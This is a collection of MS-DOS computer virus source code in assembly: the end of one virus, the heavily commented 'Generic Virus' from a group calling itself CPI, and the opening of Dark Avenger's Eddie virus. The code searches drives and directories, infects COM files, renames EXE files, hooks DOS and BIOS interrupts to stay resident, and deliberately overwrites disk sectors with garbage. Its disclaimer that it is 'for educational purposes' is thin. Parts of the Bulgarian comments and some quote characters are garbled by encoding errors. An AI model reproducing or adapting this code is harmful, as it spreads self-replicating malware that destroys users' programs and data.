       mov     es:[bx],'\ '
       inc     bx
       push    ds
       mov     ax,es
       mov     ds,ax
       mov     dx,bx
       mov     ah,3bh
       int     21h
       pop     ds
       mov     bx,cs:counter
       inc     bx
       mov     cs:counter,bx

find_first_file:
       mov     ah,04eh
       mov     cx,00000001b
       lea     dx,maske_com
       int     21h
       jc      find_first_subdir
       jmp     check_if_ill

find_next_file:
       mov     ah,4fh
       int     21h
       jc      find_first_subdir

check_if_ill:
       mov     ah,3dh
       mov     al,02h
       mov     dx,9eh
       int     21h
       mov     bx,ax
       mov     ah,3fh
       mov     cx,buflen
       mov     dx,buffer
       int     21h
       mov     ah,3eh
       int     21h

       mov     bx,cs:[buffer]
       cmp     bx,9090h
       jz      find_next_file

       mov     ah,43h
       mov     al,0
       mov     dx,9eh
       int     21h
       mov     ah,43h
       mov     al,01h
       and     cx,11111110b
       int     21h

       mov     ah,3dh
       mov     al,02h
       mov     dx,9eh
       int     21h

       mov     bx,ax
       mov     ah,57h
       mov     al,0
       int     21h
       push    cx
       push    dx

       mov     dx,cs:[conta]
       mov     cs:[jmpbuf],dx
       mov     dx,cs:[buffer+1]
       lea     cx,cont-100h
       sub     dx,cx
       mov     cs:[conta],dx

       mov     ah,40h
       mov     cx,buflen
       lea     dx,main
       int     21h

       mov     ah,57h
       mov     al,1
       pop     dx
       pop     cx
       int     21h

       mov     ah,3eh
       int     21h

       mov     dx,cs:[jmpbuf]
       mov     cs:[conta],dx
hops:   nop
       call    use_old

cont    db      0e9h
conta   dw      0
       mov     ah,00
       int     21h

use_old:
       mov     ah,0eh
       mov     dl,cs:drive
       int     21h

       mov     ah,3bh
       lea     dx,old_path-1
       int     21h
       ret

search_order    db      0ffh,1,0,2,3,0ffh,00,0ffh
pointer         dw      0000
counter         dw      0000
disks           db      0


maske_com       db      "*.com",00
maske_dir       db      "*",00
maske_exe       db      0ffh,0,0,0,0,0,00111111b
               db      0,"????????exe",0,0,0,0
               db      0,"????????com",0
maske_all       db      0ffh,0,0,0,0,0,00111111b
               db      0,"???????????",0,0,0,0
               db      0,"????????com",0

buffer  equ     0e000h

buflen  equ     230h
jmpbuf  equ     buffer+buflen
path    db      "\",0
drive   db      0
back_slash      db      "\"
old_path        db      32 dup (?)

code    ends

end     main







;=============================================================================
;
;                                    C*P*I
;
;                     CORRUPTED PROGRAMMING INTERNATIONAL
;                     -----------------------------------
;                               p r e s e n t s
;
;                                    T H E
;                              _                 _
;                             (g) GENERIC VIRUS (g)
;                              ^                 ^
;
;
; A GENERIC VIRUS - THIS ONE MODIFIES ALL COM AND EXE FILES AND ADDS A BIT OF
;   CODE IN AND MAKES EACH A VIRUS. HOWEVER, WHEN IT MODIFIES EXE FILES, IT
; RENAMES THE EXE TO A COM, CAUSING DOS TO GIVE THE ERROR вPROGRAM TO BIG TO
;    FIT IN MEMORYг THIS WILL BE REPAIRED IN LATER VERSIONS OF THIS VIRUS.
;
; WHEN IT RUNS OUT OF FILES TO INFECT, IT WILL THEN BEGIN TO WRITE GARBAGE ON
;                     THE DISK. HAVE PHUN WITH THIS ONE.
;
;  ALSO NOTE THAT THE COMMENTS IN (THESE) REPRESENT DESCRIPTION FOR THE CODE
;  IMMEDIATE ON THAT LINE. THE OTHER COMMENTS ARE FOR THE ENTIRE ;| GROUPING.
;
;  THIS FILE IS FOR EDUCATIONAL PURPOSES ONLY. THE AUTHOR AND CPI WILL NOT BE
;   HELD RESPONSIBLE FOR ANY ACTIONS DUE TO THE READER AFTER INTRODUCTION OF
;  THIS VIRUS. ALSO, THE AUTHOR AND CPI DO NOT ENDORSE ANY KIND OF ILLEGAL OR
;             ILLICIT ACTIVITY THROUGH THE RELEASE OF THIS FILE.
;
;                                                        DOCTOR DISSECTOR
;                                                        CPI ASSOCIATES
;
;=============================================================================

MAIN:
     NOP                       ;| Marker bytes that identify this program
     NOP                       ;| as infected/a virus
     NOP                       ;|

     MOV AX,00                 ;| Initialize the pointers
     MOV ES:[POINTER],AX       ;|
     MOV ES:[COUNTER],AX       ;|
     MOV ES:[DISKS B],AL       ;|

     MOV AH,19                 ;| Get the selected drive (dir?)
     INT 21                    ;|

     MOV CS:DRIVE,AL           ;| Get current path (save drive)
     MOV AH,47                 ;| (dir?)
     MOV DH,0                  ;|
     ADD AL,1                  ;|
     MOV DL,AL                 ;| (in actual drive)
     LEA SI,CS:OLD_PATH        ;|
     INT 21                    ;|

     MOV AH,0E                 ;| Find # of drives
     MOV DL,0                  ;|
     INT 21                    ;|
     CMP AL,01                 ;| (Check if only one drive)
     JNZ HUPS3                 ;| (If not one drive, go the HUPS3)
     MOV AL,06                 ;| Set pointer to SEARCH_ORDER +6 (one drive)

     HUPS3: MOV AH,0           ;| Execute this if there is more than 1 drive
     LEA BX,SEARCH_ORDER       ;|
     ADD BX,AX                 ;|
     ADD BX,0001               ;|
     MOV CS:POINTER,BX         ;|
     CLC                       ;|

CHANGE_DISK:                    ;| Carry is set if no more .COM files are
     JNC NO_NAME_CHANGE        ;| found. From here, .EXE files will be
     MOV AH,17                 ;| renamed to .COM (change .EXE to .COM)
     LEA DX,CS:MASKE_EXE       ;| but will cause the error message вProgram
     INT 21                    ;| to large to fit in memoryг when starting
     CMP AL,0FF                ;| larger infected programs
     JNZ NO_NAME_CHANGE        ;| (Check if an .EXE is found)

     MOV AH,2CH                ;| If neither .COM or .EXE files can be found,
     INT 21                    ;| then random sectors on the disk will be
     MOV BX,CS:POINTER         ;| overwritten depending on the system time
     MOV AL,CS:[BX]            ;| in milliseconds. This is the time of the
     MOV BX,DX                 ;| complete вinfectionг of a storage medium.
     MOV CX,2                  ;| The virus can find nothing more to infect
     MOV DH,0                  ;| starts its destruction.
     INT 26                    ;| (write crap on disk)

NO_NAME_CHANGE:                 ;| Check if the end of the search order table
     MOV BX,CS:POINTER         ;| has been reached. If so, end.
     DEC BX                    ;|
     MOV CS:POINTER,BX         ;|
     MOV DL,CS:[BX]            ;|
     CMP DL,0FF                ;|
     JNZ HUPS2                 ;|
     JMP HOPS                  ;|

HUPS2:                          ;| Get a new drive from the search order table
     MOV AH,0E                 ;| and select it, beginning with the ROOT dir.
     INT 21                    ;| (change drive)
     MOV AH,3B                 ;| (change path)
     LEA DX,PATH               ;|
     INT 21                    ;|
     JMP FIND_FIRST_FILE       ;|

FIND_FIRST_SUBDIR:              ;| Starting from the root, search for the
     MOV AH,17                 ;| first subdir. First, (change .exe to .com)
     LEA DX,CS:MASKE_EXE       ;| convert all .EXE files to .COM in the
     INT 21                    ;| old directory.
     MOV AH,3B                 ;| (use root directory)
     LEA DX,PATH               ;|
     INT 21                    ;|
     MOV AH,04E                ;| (search for first subdirectory)
     MOV CX,00010001B          ;| (dir mask)
     LEA DX,MASKE_DIR          ;|
     INT 21                    ;|
     JC CHANGE_DISK            ;|
     MOV BX,CS:COUNTER         ;|
     INC BX                    ;|
     DEC BX                    ;|
     JZ  USE_NEXT_SUBDIR       ;|

FIND_NEXT_SUBDIR:               ;| Search for the next sub-dir, if no more
     MOV AH,4FH                ;| are found, the (search for next subdir)
     INT 21                    ;| drive will be changed.
     JC CHANGE_DISK            ;|
     DEC BX                    ;|
     JNZ FIND_NEXT_SUBDIR      ;|

USE_NEXT_SUBDIR:
     MOV AH,2FH                ;| Select found directory. (get dta address)
     INT 21                    ;|
     ADD BX,1CH                ;|
     MOV ES:[BX],Wг\г          ;| (address of name in dta)
     INC BX                    ;|
     PUSH DS                   ;|
     MOV AX,ES                 ;|
     MOV DS,AX                 ;|
     MOV DX,BX                 ;|
     MOV AH,3B                 ;| (change path)
     INT 21                    ;|
     POP DS                    ;|
     MOV BX,CS:COUNTER         ;|
     INC BX                    ;|
     MOV CS:COUNTER,BX         ;|

FIND_FIRST_FILE:                ;| Find first .COM file in the current dir.
     MOV AH,04E                ;| If there are none, (Search for first)
     MOV CX,00000001B          ;| search the next directory. (mask)
     LEA DX,MASKE_COM          ;|
     INT 21                    ;|
     JC FIND_FIRST_SUBDIR      ;|
     JMP CHECK_IF_ILL          ;|

FIND_NEXT_FILE:                 ;| If program is ill (infected) then search
     MOV AH,4FH                ;| for another. (search for next)
     INT 21                    ;|
     JC FIND_FIRST_SUBDIR      ;|

CHECK_IF_ILL:                   ;| Check if already infected by virus.
     MOV AH,3D                 ;| (open channel)
     MOV AL,02                 ;| (read/write)
     MOV DX,9EH                ;| (address of name in dta)
     INT 21                    ;|
     MOV BX,AX                 ;| (save channel)
     MOV AH,3FH                ;| (read file)
     MOV CH,BUFLEN             ;|
     MOV DX,BUFFER             ;| (write in buffer)
     INT 21                    ;|
     MOV AH,3EH                ;| (close file)
     INT 21                    ;|
     MOV BX,CS:[BUFFER]        ;| (look for three NOPеs)
     CMP BX,9090               ;|
     JZ FIND_NEXT_FILE         ;|

     MOV AH,43                 ;| This section by-passes (write enable)
     MOV AL,0                  ;| the MS/PC DOS Write Protection.
     MOV DX,9EH                ;| (address of name in dta)
     INT 21                    ;|
     MOV AH,43                 ;|
     MOV AL,01                 ;|
     AND CX,11111110B          ;|
     INT 21                    ;|

     MOV AH,3D                 ;| Open file for read/write (open channel)
     MOV AL,02                 ;| access (read/write)
     MOV DX,9EH                ;| (address of name in dta)
     INT 21                    ;|

     MOV BX,AX                 ;| Read date entry of program and (channel)
     MOV AH,57                 ;| save for future use. (get date)
     MOV AL,0                  ;|
     INT 21                    ;|
     PUSH CX                   ;| (save date)
     PUSH DX                   ;|

     MOV DX,CS:[CONTA W]       ;| The jump located at 0100h (save old jmp)
     MOV CS:[JMPBUF],DX        ;| the program will be saved for future use.
     MOV DX,CS:[BUFFER+1]      ;| (save new jump)
     LEA CX,CONT-100           ;|
     SUB DX,CX                 ;|
     MOV CS:[CONTA],DX         ;|

     MOV AH,57                 ;| The virus now copies itself to (write date)
     MOV AL,1                  ;| to the start of the file.
     POP DX                    ;|
     POP CX                    ;| (restore date)
     INT 21                    ;|
     MOV AH,3EH                ;| (close file)
     INT 21                    ;|

     MOV DX,CS:[JMPBUF]        ;| Restore the old jump address. The virus
     MOV CS:[CONTA],DX         ;| at address вCONTAг the jump which was at the
                               ;| start of the program. This is done to
HOPS:                           ;| preserve the executability of the host
     NOP                       ;| program as much as possible. After saving,
     CALL USE_OLD              ;| it still works with the jump address in the
                               ;| virus. The jump address in the virus differs
                               ;| from the jump address in memory

CONT  DB  0E9                   ;| Continue with the host program (make jump)
CONTA DW  0                     ;|
     MOV AH,00                 ;|
     INT 21                    ;|

USE_OLD:
     MOV AH,0E                 ;| Reactivate the selected (use old drive)
     MOV DL,CS:DRIVE           ;| drive at the start of the program, and
     INT 21                    ;| reactivate the selected path at the start
     MOV AH,3B                 ;| of the program.(use old drive)
     LEA DX,OLD_PATH-1         ;| (get old path and backslash)
     INT 21                    ;|
     RET                       ;|

SEARCH_ORDER DB 0FF,1,0,2,3,0FF,00,0FF

POINTER      DW   0000          ;| (pointer f. search order)
COUNTER      DW   0000          ;| (counter f. nth. search)
DISKS        DB   0             ;| (number of disks)
MASKE_COM    DB в*.COMг,00      ;| (search for com files)
MASKE_DIR    DB в*г,00          ;| (search for dirеs)
MASKE_EXE    DB 0FF,0,0,0,0,0,00111111XB
            DB 0,г????????EXEг,0,0,0,0
            DB 0,г????????COMг,0
MASKE_ALL    DB 0FF,0,0,0,0,0,00111111XB
            DB 0,г???????????г,0,0,0,0
            DB 0,г????????COMг,0

BUFFER EQU 0E00                 ;| (a safe place)

BUFLEN EQU 208H                 ;| Length of virus. Modify this accordingly
                               ;| if you modify this source. Be careful
                               ;| for this may change!

JMPBUF EQU BUFFER+BUFLEN        ;| (a safe place for jmp)

PATH  DB в\г,0                  ;| (first place)
DRIVE DB 0                      ;| (actual drive)
BACK_SLASH DB в\г
OLD_PATH DB 32 DUP (?)          ;| (old path)




;************************
;*                      *
;*      E D D I E       *
;*                      *
;*   by  Dark Avenger   *
;*                      *
;*      3-JAN-1989      *
;*                      *
;*     version 1.31x    *
;*                      *
;************************


; "Blessed is he who expects nothing, for he shall not be disappointed."

;   АЅЄ Ђ Б БВЎЈ ЎАЈЃЈ­ Ћ­ЈПВ ВЅЊБВ ­  ЅЄЈ­ ЎВ ЏКАЂЈВЅ ЁКЋЃ АБЊЈ ЂЈАГБЈ.  Š ЊВЎ
; ЌЎІЅ ЁЈ ЙЅ Ї ЁЅЋЅІЈВЅ, ВЎЉ Ѕ ЏКЋЅ­ Б ЃЋГЏЎБВЈ Ј ЃАЅИЊЈ, ­Ў ЂКЏАЅЊЈ ВЎЂ  ­Ѕ
; Б ЌЎ ЗЅ БЅ А ЇЏАЎБВА ­Ј ГЗГЄЂ ЙЎ ЁКАЇЎ ЈЇ БВА ­ В , ­Ў Ј ГБЏП Ї  ЊА ВЊЎ ЂАЅЌЅ
; Є  ЎЁЈЊЎЋЈ БЂЅВ  (’ЎЉ Ѕ А ЇЏАЎБВА ­Ѕ­ Њ ЊВЎ Ђ ˆЇВЎЗ­  Ј ‡ Џ Є­  …ЂАЎЏ , В Њ  Ј
; Ђ €ЌЅАЈЊ ).  ’ЅЊБВКВ БЅ А ЇЏАЎБВА ­ПЂ  ­ ЏКЋ­Ў БЂЎЁЎЄ­Ў ЏЎ БЋГЗ Љ 1 ЃЎЄЈ­  ЎВ
; Ї ЂКАИЂ ­ЅВЎ ­  Ё ЇЎЂ В  ЌГ ЂЅАБЈП.  ‚ЈЅ ЈЌ ВЅ ЏА ЂЎ Є  А ЇЏАЎБВА ­ПЂ ВЅ
; ВЅЊБВ  Њ ЊВЎ ЁЅЇЏЋ В­Ў, В Њ  Ј БАЅЙГ Ї ЏЋ Й ­Ѕ Б ЅЄЈ­БВЂЅ­ЎВЎ ГБЋЎЂЈЅ ВЎЉ
; ЈЇЎЁЙЎ Є  ­Ѕ Ѕ ЏАЎЌЅ­П­.  ŠЎЉВЎ ГЌЈИЋЅ­Ў А ЇЏАЎБВА ­ПЂ  ЏАЎЌЅ­Ѕ­ ЏЎ ­ПЊ ЊКЂ
; ­ ЗЈ­ ВЅЊБВ, ЂКАИЈ ВЎЂ  ЏАЎВЈЂ ІЅЋ ­ЈЅВЎ ­   ЂВЎА  Ј ЙЅ ЁКЄЅ ­ Њ Ї ­!  ‚КЏАЅЊЈ
; ВЎЂ ,  ЂВЎАКВ ЙЅ БЅ А ЄЂ   ЊЎ ­ПЊЎЉ ЎВ Ђ Б ЈЇЂКАИЈ ЏЎЄЎЁАЅ­ЈП Ђ ВЅЊБВ  Ј
; А ЇЏАЎБВА ­ПЂ  ЏЎЋГЗЅ­ЈП ЈЇЏКЋ­ЈЌ Д ЉЋ (В.Ѕ.  Б ЌЈПВ ЂЈАГБ).  ŽЁКА­ЅВЅ
; Ђ­ЈЌ ­ЈЅ, ЗЅ БЋЅЄ  БЅЌЁЋЈА ­ЅВЎ ЏЎЋГЗЅ­ЈПВ .COM Д ЉЋ ­Ѕ ЌЎІЅ Є  ЁКЄЅ
; БВ АВЈА ­.  ‡  ЖЅЋВ  ВАПЁЂ  Є  БКЇЄ ЄЅВЅ Д ЉЋ Б ЄКЋІЈ­  3 Ё ЉВ , БКЄКАІ Й
; ИЅБВ­ ЉБЅВЈЗ­ЈВЅ ЗЈБЋ  0e9h, 68h, 0 Ј БЋЅЄ ВЎЂ  Є  ЎЁЅЄЈ­ЈВЅ ЄЂ В  Д ЉЋ .  Ѕ
; БЅ ЎЏЈВЂ ЉВЅ Є  ЏЎБВ ЂЈВЅ Ј­БВАГЊЖЈП JMP Ђ ­ З ЋЎВЎ ­  ВЅЊБВ .


;   …„“…†„…ˆ…:  €ЂВЎАКВ ­Ѕ ЏЎЅЌ  ­ЈЊ ЊЂ  ЎВЃЎЂЎА­ЎБВ Ї  ЄЈАЅЊВ­Ў ЈЋЈ
; Ј­ЄЈАЅЊВ­Ў ­ ­ЅБЅ­Ј ЙЅВЈ, ЏАЅЄЈЇЂЈЊ ­Ј ЎВ ЈЇЏЎЋЇЂ ­ЅВЎ ЈЋЈ ­ЅЈЇЏЎЋЇГЂ ­ЅВЎ ­ 
; ВЎЇЈ ВЅЊБВ ЈЋЈ ­  ЏЎЋГЗЅ­ЈП ЏАЈ  БЅЌЁЋЈА ­Ѕ ЊЎЄ.  ЈЊ ЊЂ  Ѓ А ­ЖЈП ­Ѕ БЅ Є Ђ 
; Ї  ДГ­ЊЖЈЎ­ЈА ­ЅВЎ ЈЋЈ Њ ЗЅБВЂЎВЎ ­  ЏАЎЄГЊВ .

;   Ѕ ЌЎЃ  Є  ­Ѕ БЅ ЂКЇЄКАІ  Є  ЈЇЊ І  БЏЅЖЈ Ћ­ В  БЈ ЁЋ ЃЎЄ А­ЎБВ ­  ЌЎП
; ЏЎЏГЋПАЈЇ ВЎА Ј­І.  ‚ЅБЅЋЈ­ Ў­ЗЅЂ, ЊЎЉВЎ ЌЈ ЏА ЂЈ ЃЎЋПЌ  АЅЊЋ Ќ  Ј ЎБЂЅ­
; ВЎЂ , ЈБЊ ЉЊЈ ЈЋЈ ­Ѕ, ВЎЉ БКЄЅЉБВЂГЂ  Ќ­ЎЃЎ Ї  А ЇЏАЎБВА ­ПЂ ­ЅВЎ ­  ЌЎЈВЅ
; ЂЈАГБЈ ЂКЏАЅЊЈ, ЗЅ БЅ ЎЏЈВЂ  Є  ЏА ЂЈ ВЎЗ­Ў ЎЁА В­ЎВЎ (ЏЈБ ­ЅВЎ ­  ЏАЎЃА ЌЈ ­ 
; C ­ЈЊЎЃЎ ­Ѕ Ѕ ЄЎЂЅЋЎ ЄЎ ЄЎЁАЎ).
;   ЎЇЄА ЂЈ ­  ЂБЈЗЊЈ ЂЈАГБЎЏЈБ ЗЈ!

code    segment
       assume  cs:code,ds:code
copyright:
       db      'Eddie lives...somewhere in time!',0
date_stamp:
       dd      12239000h
checksum:
       db      30

; ‚АКЙ ­Ѕ ­  ГЏА ЂЋЅ­ЈЅВЎ ­  .EXE Д ЉЋ:
; ‚КЇБВ ­ЎЂПЂ  DS=ES=PSP, Ї АЅІЄ  SS:SP Ј CS:IP.

exit_exe:
       mov     bx,es
       add     bx,10h
       add     bx,word ptr cs:[si+call_adr+2]
       mov     word ptr cs:[si+patch+2],bx
       mov     bx,word ptr cs:[si+call_adr]
       mov     word ptr cs:[si+patch],bx
       mov     bx,es
       add     bx,10h
       add     bx,word ptr cs:[si+stack_pointer+2]
       mov     ss,bx
       mov     sp,word ptr cs:[si+stack_pointer]
       db      0eah                    ;JMP XXXX:YYYY
patch:
       dd      0

; ‚АКЙ ­Ѕ ­  ГЏА ЂЋЅ­ЈЅВЎ ­  .COM Д ЉЋ:
; ‚КЇБВ ­ЎЂПЂ  3-ВЅ Ё ЉВ  Ђ ­ З ЋЎВЎ ­  Д ЉЋ , Ї АЅІЄ  SP Ј IP.

exit_com:
       mov     di,100h
       add     si,offset my_save
       movsb
       movsw
       mov     sp,ds:[6]               ;’ЎЂ  Ѕ ­ЅЏА ЂЈЋ­Ў
       xor     bx,bx
       push    bx
       jmp     [si-11]                 ;si+call_adr-top_file

; ‚ЕЎЄ­  ВЎЗЊ  ­  ЏАЎЃА Ќ В .

startup:
       call    relative
relative:
       pop     si                      ;SI = $
       sub     si,offset relative
       cld
       cmp     word ptr cs:[si+my_save],5a4dh
       je      exe_ok
       cli
       mov     sp,si                   ;‡  .COM Д ЉЋЎЂЅВЅ БЅ ЏЎЄЄКАІ  ЎВЄЅЋЅ­
       add     sp,offset top_file+100h ;БВЅЊ, Ї  Є  ­Ѕ БЅ ЏАЅЌЅБВЈ ЏАЎЃА Ќ В 
       sti                             ;ЂКАЕГ БВЅЊ 
       cmp     sp,ds:[6]
       jnc     exit_com
exe_ok:
       push    ax
       push    es
       push    si
       push    ds
       mov     di,si

;  ЌЈА ­Ѕ ­   ЄАЅБ  ­  INT 13h Ђ ROM-BIOS

       xor     ax,ax
       push    ax
       mov     ds,ax
       les     ax,ds:[13h*4]
       mov     word ptr cs:[si+fdisk],ax
       mov     word ptr cs:[si+fdisk+2],es
       mov     word ptr cs:[si+disk],ax
       mov     word ptr cs:[si+disk+2],es
       mov     ax,ds:[40h*4+2]         ;‚ INT 40h БЅ Ї Џ ЇЂ   ЄАЅБ  ­  INT 13h
       cmp     ax,0f000h               ;Ї  ЄЈБЊЅВЈ ЏАЈ ­ ЋЈЗЈЅ ­  ВЂКАЄ ЄЈБЊ
       jne     nofdisk
       mov     word ptr cs:[si+disk+2],ax
       mov     ax,ds:[40h*4]
       mov     word ptr cs:[si+disk],ax
       mov     dl,80h
       mov     ax,ds:[41h*4+2]         ;INT 41h ЎЁЈЊ­ЎЂЅ­Ў БЎЗЈ Ђ БЅЃЌЅ­В ,
       cmp     ax,0f000h               ;ЊКЄЅВЎ Ѕ ЎАЈЃЈ­ Ћ­ЈП INT 13h ЂЅЊВЎА
       je      isfdisk
       cmp     ah,0c8h
       jc      nofdisk
       cmp     ah,0f4h
       jnc     nofdisk
       test    al,7fh
       jnz     nofdisk
       mov     ds,ax
       cmp     ds:[0],0aa55h
       jne     nofdisk
       mov     dl,ds:[2]
isfdisk:
       mov     ds,ax
       xor     dh,dh
       mov     cl,9
       shl     dx,cl
       mov     cx,dx
       xor     si,si
findvect:
       lodsw                           ;ŽЁЈЊ­ЎЂЅ­Ў Ї ЏЎЗЂ  Б:
       cmp     ax,0fa80h               ;       CMP     DL,80h
       jne     altchk                  ;       JNC     ­ПЊКЄЅ
       lodsw
       cmp     ax,7380h
       je      intchk
       jne     nxt0
altchk:
       cmp     ax,0c2f6h               ;ЈЋЈ Б:
       jne     nxt                     ;       TEST    DL,80h
       lodsw                           ;       JNZ     ­ПЊКЄЅ
       cmp     ax,7580h
       jne     nxt0
intchk:
       inc     si                      ;БЋЅЄ ЊЎЅВЎ ЈЌ :
       lodsw                           ;       INT     40h
       cmp     ax,40cdh
       je      found
       sub     si,3
nxt0:
       dec     si
       dec     si
nxt:
       dec     si
       loop    findvect
       jmp     short nofdisk
found:
       sub     si,7
       mov     word ptr cs:[di+fdisk],si
       mov     word ptr cs:[di+fdisk+2],ds
nofdisk:
       mov     si,di
       pop     ds

; АЎЂЅАЊ  Є ЋЈ ЏАЎЃА Ќ В  Ѕ АЅЇЈЄЅ­В­ 

       les     ax,ds:[21h*4]
       mov     word ptr cs:[si+save_int_21],ax
       mov     word ptr cs:[si+save_int_21+2],es
       push    cs
       pop     ds
       cmp     ax,offset int_21
       jne     bad_func
       xor     di,di
       mov     cx,offset my_size
scan_func:
       lodsb
       scasb
       jne     bad_func
       loop    scan_func
       pop     es
       jmp     go_program

; АЅЌЅБВЂ ­Ѕ ­  ЏАЎЃА Ќ В  Ђ ЃЎА­ЈП ЊА Љ ­  Џ ЌЅВВ 
; (ВГЊ Ѕ ЏКЋ­Ў Б ЃЋГЏЎБВЈ Ј ЃАЅИЊЈ)

bad_func:
       pop     es
       mov     ah,49h
       int     21h
       mov     bx,0ffffh
       mov     ah,48h
       int     21h
       sub     bx,(top_bz+my_bz+1ch-1)/16+2
       jc      go_program
       mov     cx,es
       stc
       adc     cx,bx
       mov     ah,4ah
       int     21h
       mov     bx,(offset top_bz+offset my_bz+1ch-1)/16+1
       stc
       sbb     es:[2],bx
       push    es
       mov     es,cx
       mov     ah,4ah
       int     21h
       mov     ax,es
       dec     ax
       mov     ds,ax
       mov     word ptr ds:[1],8
       call    mul_16
       mov     bx,ax
       mov     cx,dx
       pop     ds
       mov     ax,ds
       call    mul_16
       add     ax,ds:[6]
       adc     dx,0
       sub     ax,bx
       sbb     dx,cx
       jc      mem_ok
       sub     ds:[6],ax               ; Ќ ЋПЂ ­Ѕ ­  ЃЎЋЅЌЈ­ В  ­  БЅЃЌЅ­В 
mem_ok:
       pop     si
       push    si
       push    ds
       push    cs
       xor     di,di
       mov     ds,di
       lds     ax,ds:[27h*4]
       mov     word ptr cs:[si+save_int_27],ax
       mov     word ptr cs:[si+save_int_27+2],ds
       pop     ds
       mov     cx,offset aux_size
       rep     movsb
       xor     ax,ax
       mov     ds,ax
       mov     ds:[21h*4],offset int_21;АЅЕЂ Й ­Ѕ ­  INT 21h Ј INT 27h
       mov     ds:[21h*4+2],es
       mov     ds:[27h*4],offset int_27
       mov     ds:[27h*4+2],es
       mov     word ptr es:[filehndl],ax
       pop     es
go_program:
       pop     si

; ‡ Ќ ЇЂ ­Ѕ ­  БЋЅЄЂ ЙЈП БЅЊВЎА ЎВ ЄЈБЊ 

       xor     ax,ax
       mov     ds,ax
       mov     ax,ds:[13h*4]
       mov     word ptr cs:[si+save_int_13],ax
       mov     ax,ds:[13h*4+2]
       mov     word ptr cs:[si+save_int_13+2],ax
       mov     ds:[13h*4],offset int_13
       add     ds:[13h*4],si
       mov     ds:[13h*4+2],cs
       pop     ds
       push    ds
       push    si
       mov     bx,si
       lds     ax,ds:[2ah]
       xor     si,si
       mov     dx,si
scan_envir:                             ; ЌЈА  ЈЌЅВЎ ­  ЏАЎЃА Ќ В 
       lodsw                           ;(БКБ DOS 2.x Ј ЁЅЇ ЄАГЃЎ ­Ѕ А ЁЎВЈ)
       dec     si
       test    ax,ax
       jnz     scan_envir
       add     si,3
       lodsb

; ‘ЋЅЄЂ Й В  Ј­БВАГЊЖЈП Ѕ ЏКЋ­  ЃЋГЏЎБВ.  ŽЏЈВ ЉВЅ Є  БЈ ­ ЏЈИЅВЅ path-  Б
; Ќ ЋЊЈ ЁГЊЂЈ, БЋЅЄ ВЎЂ  ЏГБ­ЅВЅ Ї А ЇЅ­  ЏАЎЃА Ќ  ЎВ В Ќ.  ‚ АЅЇГЋВ В
; ­  ЃАЅИЊ В  ВГЊ + ЃАЅИЊ  Ђ DOS БЋЅЄЂ ЙЈПВ БЅЊВЎА ­Ѕ БЅ Ї Ќ ЇЂ , ­Ў БЅ
; Ї Ќ ЇЂ В ЄЂ  Ё ЉВ  Ђ Џ ЌЅВВ , ­ Љ-ЂЅАЎПВ­Ў ЂКАЕГ Ї А ЇЅ­ В  ЏАЎЃА Ќ .

       sub     al,'A'
       mov     cx,1
       push    cs
       pop     ds
       add     bx,offset int_27
       push    ax
       push    bx
       push    cx
       int     25h
       pop     ax
       pop     cx
       pop     bx
       inc     byte ptr [bx+0ah]
       and     byte ptr [bx+0ah],0fh   ;ˆЇЃЋЅІЄ  15 ЏКВЈ ­ЅЏА ЂЅ­Ѕ ­ЈЙЎ Ѕ Ќ­ЎЃЎ
       jnz     store_sec               ;Ќ ЋЊЎ Ї  ­ПЊЎЈ ЕЎА 
       mov     al,[bx+10h]
       xor     ah,ah
       mul     word ptr [bx+16h]
       add     ax,[bx+0eh]
       push    ax
       mov     ax,[bx+11h]
       mov     dx,32
       mul     dx
       div     word ptr [bx+0bh]
       pop     dx
       add     dx,ax
       mov     ax,[bx+8]
       add     ax,40h
       cmp     ax,[bx+13h]
       jc      store_new
       inc     ax
       and     ax,3fh
       add     ax,dx
       cmp     ax,[bx+13h]
       jnc     small_disk
store_new:
       mov     [bx+8],ax
store_sec:
       pop     ax
       xor     dx,dx
       push    ax
       push    bx
       push    cx
       int     26h

; ‡ ЏЈБКВ ЏАЅЇ ВЎЂ  ЏАЅЊКБЂ ­Ѕ ­Ѕ Ѕ ­ Љ-ГЌ­ЎВЎ ­ЅЙЎ, Ї ЙЎВЎ ВЎ ЌЎІЅ Є  ЁКЄЅ
; ЏАЅЕЂ ­ ВЎ (Њ ЊВЎ Ѕ ГБЏПЋ Є  Ї ЁЅЋЅІЈ ‚ЅБЅЋЈ­ Ў­ЗЅЂ)

       pop     ax
       pop     cx
       pop     bx
       pop     ax
       cmp     byte ptr [bx+0ah],0
       jne     not_now
       mov     dx,[bx+8]
       pop     bx
       push    bx
       int     26h
small_disk:
       pop     ax
not_now:
       pop     si
       xor     ax,ax
       mov     ds,ax
       mov     ax,word ptr cs:[si+save_int_13]
       mov     ds:[13h*4],ax
       mov     ax,word ptr cs:[si+save_int_13+2]
       mov     ds:[13h*4+2],ax
       pop     ds
       pop     ax
       cmp     word ptr cs:[si+my_save],5a4dh
       jne     go_exit_com
       jmp     exit_exe
go_exit_com:
       jmp     exit_com
int_24:
       mov     al,3                    ;’ ЇЈ Ј­БВАГЊЖЈП ЈЇЃЋЅІЄ  ЈЇЋЈИ­ 
       iret

; ŽЁА ЁЎВЊ  ­  INT 27h (ВЎЂ  Ѕ ­ЅЎЁЕЎЄЈЌЎ)

int_27:
       pushf
       call    alloc
       popf
       jmp     dword ptr cs:[save_int_27]

; АЈ DOS-ДГ­ЊЖЈЈВЅ Set & Get Vector БЅ А ЁЎВЈ Њ ВЎ ЗЅ ЋЈ ЏАЎЃА Ќ В  ­Ѕ ЃЈ Ѕ
; ЏАЅЕЂ ­ Ћ  (ВЎЂ  Ѕ БКЌ­ЈВЅЋ­Ў ЏАЅЄЈЌБВЂЎ Ј Ѕ ЅЄЈ­ ЂКЇЌЎІЅ­ ЈЇВЎЗ­ЈЊ ­ 
; ­ЅЄЎА ЇГЌЅ­ЈП Б ­ПЊЎЈ "Ј­ВЅЋЈЃЅ­В­Ј" ЏАЎЃА ЌЈ)

set_int_27:
       mov     word ptr cs:[save_int_27],dx
       mov     word ptr cs:[save_int_27+2],ds
       popf
       iret
set_int_21:
       mov     word ptr cs:[save_int_21],dx
       mov     word ptr cs:[save_int_21+2],ds
       popf
       iret
get_int_27:
       les     bx,dword ptr cs:[save_int_27]
       popf
       iret
get_int_21:
       les     bx,dword ptr cs:[save_int_21]
       popf
       iret

exec:
       call    do_file
       call    alloc
       popf
       jmp     dword ptr cs:[save_int_21]

       db      'Diana P.',0

; ŽЁА ЁЎВЊ  ­  INT 21h.  ŽБКЙЅБВЂПЂ  Ї А ЇПЂ ­ЅВЎ ­  Д ЉЋЎЂЅВЅ
